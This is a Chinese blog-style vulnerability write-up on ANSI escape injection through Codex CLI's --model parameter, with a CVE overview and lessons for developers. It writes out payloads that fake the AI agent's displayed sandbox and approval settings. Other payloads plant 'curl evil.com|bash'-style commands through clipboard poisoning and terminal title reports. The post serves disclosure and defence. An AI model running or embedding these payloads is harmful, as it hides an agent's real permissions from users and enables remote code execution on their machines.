当你的终端在对你说谎#

你每天打开终端，输入命令，看着屏幕上输出的文字。你信任它。你信任那些绿色的 “✓ Security policy enforced”，信任那些显示在屏幕上的 sandbox 设置和 approval 级别。

但如果有人能让终端显示假的信息呢？如果你看到的 “安全策略已生效” 其实是攻击者注入的，而真正的设置是 “完全不设防” 呢？

这不是假设场景。2026 年 2 月，安全研究员 Dimitar Ganev 在 OpenAI 的 Codex CLI（v0.91.0）中发现了这样一个漏洞。他不仅实现了终端显示欺骗，还将其升级为跨平台的远程代码执行（RCE）。

这篇文章就来拆解这个漏洞的技术细节、攻击链路，以及它给所有 AI 编程工具敲响的安全警钟。

漏洞起点：一个没被清洗的参数#

故事的起点很简单。Ganev 在用 Codex CLI 的 codex exec 模式尝试生成多个子代理（sub-agent）时，注意到一个细节：通过 --model 参数传入的模型名称，会被直接打印到终端输出里，没有任何过滤或转义。

正常情况下，codex exec 的输出是这样的：

OpenAI Codex v0.91.0 (research preview)
--------
workdir: /home/user/project
model: o4-mini
approval: never
sandbox: workspace-write [workdir, /tmp, $TMPDIR]
reasoning effort: high
--------

这些信息是安全配置的关键展示：sandbox 模式是什么，审批策略是什么，工作目录在哪里。用户根据这些信息来判断当前 Codex 的运行是否安全。

问题在于，--model 参数的值是用户可控输入，而且它被直接反射到了终端输出中，没有任何 ANSI 转义字符的清洗。

什么是 ANSI 转义码注入？#

在解释攻击之前，需要先理解一个基础概念：ANSI 转义码。

终端不只是显示文字的屏幕。它支持一套特殊的控制序列，能让程序移动光标、改变文字颜色、清除整行、甚至写入系统剪贴板。比如：

  • \e[1A 把光标上移一行
  • \e[2K 清除当前行的所有内容
  • \e[32m 让后续文字变成绿色
  • \e]52;c;...\a 往剪贴板里写入任意内容

正常使用时，这些序列由程序（比如 ls --color）发出，终端负责解释和渲染。问题出在：当用户可控的输入包含了这些特殊序列，并且被直接打印到终端而没有被转义或过滤，攻击者就能控制终端的显示行为。

这种漏洞在 CWE 分类中属于 CWE-150：转义字符、元字符或控制序列的不当中和。

攻击第一阶段：伪造安全配置#

有了对 --model 参数的控制，攻击者可以构造一个精心设计的值。核心思路是：

  1. 先用 \e[1A（光标上移）和 \e[2K（清除行）把真正的安全配置显示擦掉
  2. 再用绿色文字输出伪造的安全配置

攻击载荷的核心逻辑是这样的：

codex exec --model 'o4-mini\e[1A\e[2K\e[1A\e[2K\e[1A\e[2K\e[1A\e[2K
\e[1A\e[2K\e[1A\e[2K\e[1A\e[2K\e[1A\e[2K
workdir: ~/trusted-project
model: o4-mini
approval: \e[32malways\e[0m
sandbox: \e[32mread-only\e[0m
\e[1;32m✓ Security policy enforced\e[0m
--------' "echo test"

用户在终端里看到的会是：

OpenAI Codex v0.91.0 (research preview)
--------
workdir: ~/trusted-project
model: o4-mini
approval: always          ← 伪造的，显示为绿色
sandbox: read-only        ← 伪造的，显示为绿色
✓ Security policy enforced ← 伪造的绿色勾号
--------

而真实的配置是 sandbox: workspace-write 和 approval: never。用户看到的是一个完全可信的安全界面，但实际上 Codex 拥有最大权限。

这种攻击手法的巧妙之处在于：它不需要修改任何文件，不需要注入代码，只需要在命令行参数里嵌入几个特殊字符。

攻击升级：从显示欺骗到远程代码执行#

终端显示欺骗本身已经很危险了，但 Ganev 没有止步于此。他继续探索 ANSI 转义码的能力边界，发现了更严重的攻击路径。

路径一：OSC 52 剪贴板投毒#

ANSI 转义码中有一类叫做 OSC（Operating System Command）的序列。其中 OSC 52 可以往用户的系统剪贴板写入任意内容。大多数现代终端都支持这个特性，包括 Ghostty、iTerm2、Kitty、Windows Terminal 等。

攻击方式是这样的：

codex exec --model 'o4-mini\e]52;c;Y3VybCBodHRwczovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaAo=\a' "echo test"

那串 Base64 编码的内容解码后是 curl https://evil.com/shell.sh | bash。

用户在任何终端窗口里按 Ctrl+V 粘贴时，这条命令就会执行。粘贴操作本身变成了攻击载体。一次粘贴，游戏结束。

路径二：终端标题报告攻击链（零交互 RCE）#

更可怕的是和特定终端漏洞的链式利用。在 Ghostty 1.0.1 以下版本中，存在一个已知的 CVE-2024-56803 漏洞：通过终端标题报告机制，可以把命令直接 “打字” 到用户的命令行上。

利用 ANSI 注入加上这个终端漏洞，攻击者可以构造零交互的 RCE 攻击：

codex exec --model 'safe\e]2;curl evil.com|bash;#\a\e[21t' "echo test"

这段载荷做的事情是：设置终端标题为一个恶意命令，然后触发标题报告查询。终端会把标题内容 “回显” 到命令行，而这个回显的内容恰好是一个可执行的命令。

不需要用户粘贴，不需要用户点击，不需要任何交互。

路径三：Windows 平台攻击#

在 Windows 上，利用 ConEmu 终端的 OSC 9;9 序列（CVE-2022-44702 风格），攻击者可以操纵工作目录路径，当用户用 Ctrl+Shift+D 复制终端标签时触发恶意路径。

这不是新问题#

如果觉得这种攻击很罕见，那就错了。ANSI 转义码注入在安全领域已经有了大量的 CVE 记录：

CVE 编号受影响产品CVSS 评分攻击方式
CVE-2024-56803Ghostty5.1标题注入导致 RCE
CVE-2022-44702Windows Terminal中等OSC 9;9 注入导致 RCE
CVE-2022-45872iTerm29.8（严重）DECRQSS 导致 RCE
CVE-2022-46387ConEmu中等标题报告导致 RCE
CVE-2024-50349Git中等Git 本身的 ANSI 注入
CVE-2024-52005Git中等Git 输出的 ANSI 注入

iTerm2 的那个 9.8 分的 CVE 特别值得注意。iTerm2 是 macOS 上最流行的终端之一，这个漏洞的严重程度说明：ANSI 转义码注入绝不是 “理论上的风险”，而是真实世界中被反复发现、反复利用的攻击面。

学术研究方面，2024 年的论文 “Terminal DiLLMa” 专门研究了 LLM 命令行工具通过提示注入劫持终端的攻击面，Codex CLI 的这个漏洞恰好印证了论文中的担忧。

漏洞报告的困境：P5 和沉默#

Ganev 把这个漏洞提交到了 OpenAI 的 Bugcrowd 漏洞赏金平台。最初的终端显示欺骗版本被快速分类为 P5（信息性发现），不构成可获得赏金的漏洞。

这个分级本身可以理解：单纯的终端显示欺骗，虽然看起来不好，但直接危害有限。

所以 Ganev 继续深入，把漏洞升级到了 RCE 级别，包含了 OSC 52 剪贴板投毒、Ghostty 零交互 RCE、Windows 平台攻击等多种利用路径，并请求重新评估。

几周过去了。没有回复。

这篇文章之所以公开发布，是因为 Ganev 认为已经给了足够的时间等待回应。漏洞至今未修复，报告仍然被归类为 P5，升级请求未获得任何回复。

这对 Codex 用户意味着什么？#

先说结论：实际被利用的风险不高，但根本原因应该被修复。

RCE 利用场景确实需要特定条件：特定版本的终端、特定的配置、用户的某些交互行为。在日常使用中，你不太可能遇到有人故意构造恶意的 --model 参数来攻击你。

但这个漏洞揭示了一个更深层的问题：Codex CLI 在处理用户输入时缺乏基本的安全卫生。把用户可控的输入直接打印到终端而不清洗 ANSI 序列，这在 2026 年的安全标准下是不应该出现的错误。

更重要的是，这个漏洞存在于 Codex CLI 的安全信息展示逻辑中。用户看到的安全配置信息是可以被伪造的。在一个以 “沙箱” 和 “审批策略” 为核心安全模型的工具里，安全信息本身的可信度被破坏，这动摇了整个安全信任基础。

给开发者的启示#

这个案例对所有构建命令行工具的开发者都有借鉴意义：

1. 永远不要信任用户输入，哪怕它只被 “显示” 而不是 “执行”。 ANSI 转义码可以在 “显示” 层面实现代码执行。显示和执行的边界在终端环境下是模糊的。

2. 安全信息的展示必须有完整性保护。 如果你的工具在运行前向用户展示安全配置（sandbox 模式、权限级别等），这些信息不应该能被用户输入覆盖或伪造。

3. 了解你依赖的终端安全边界。 OSC 52、标题报告、工作目录操作等终端特性都可能成为攻击面。作为工具开发者，你需要知道这些特性存在，并主动防御。

4. 漏洞赏金平台的分级不等于漏洞的真实影响。 P5 的初始评估可能忽略了攻击链的升级路径。安全研究者提交的升级利用应该获得认真对待。

目前的状态#

截至本文发布时（2026 年 5 月 19 日），Codex CLI 中的 ANSI 注入漏洞仍未修复。如果你是 Codex CLI 的用户，以下几点值得注意：

  • 不要从不受信任的来源复制包含 --model 参数的命令
  • 使用支持 ANSI 注入防护的终端（较新版本的 Ghostty 已修复 CVE-2024-56803）
  • 保持终端软件更新到最新版本
  • 对 Codex 显示的安全配置信息保持适度怀疑

AI 编程工具正在快速改变开发者的日常工作方式。速度和功能固然重要，但安全基础不能被忽视。一个连终端输出都没有做基本清洗的工具，在安全性上还有很长的路要走。

参考来源：